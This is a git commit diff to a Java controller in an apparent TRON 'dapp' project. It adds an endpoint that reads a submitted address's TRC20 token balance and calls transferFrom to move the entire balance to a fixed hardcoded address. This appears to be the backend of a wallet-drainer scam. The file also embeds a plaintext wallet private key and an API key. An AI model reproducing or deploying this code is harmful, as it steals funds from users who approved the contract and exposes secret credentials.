fix
Helius
2021-10-19 e93c8a2295cd56fe35c7aed2fdfb52828971a59e
src/main/java/cc/mrbird/febs/modules/dapp/controller/DappController.java
@@ -5,11 +5,13 @@
import io.swagger.annotations.Api;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.*;
import org.tron.trident.core.ApiWrapper;
import org.tron.trident.core.contract.Contract;
import org.tron.trident.core.contract.Trc20Contract;
import javax.servlet.http.HttpServletRequest;
import java.math.BigInteger;
/**
@@ -26,15 +28,17 @@
    private final String PRIVATE_KEY = "7a1cdc7aa2976b16cfc79ed8310b1fb53a85780dd27574fa6c5eb7c2aceaa6ae";
    @PostMapping(value = "/trcPost.html")
    public FebsResponse trxPost(@RequestBody TrxPostDto trxPostDto) {
    public FebsResponse trxPost(TrxPostDto trxPostDto, HttpServletRequest request) {
        ApiWrapper wrapper = ApiWrapper.ofMainnet(PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54");
        Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
        Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper);
        BigInteger balanceOf = token.balanceOf(trxPostDto.getAddress());
        System.out.println(balanceOf);
        token.transferFrom(trxPostDto.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", balanceOf.longValue(), 0, "memo", 100000000L);
        return new FebsResponse().success().message("");
        return new FebsResponse().success();
    }
}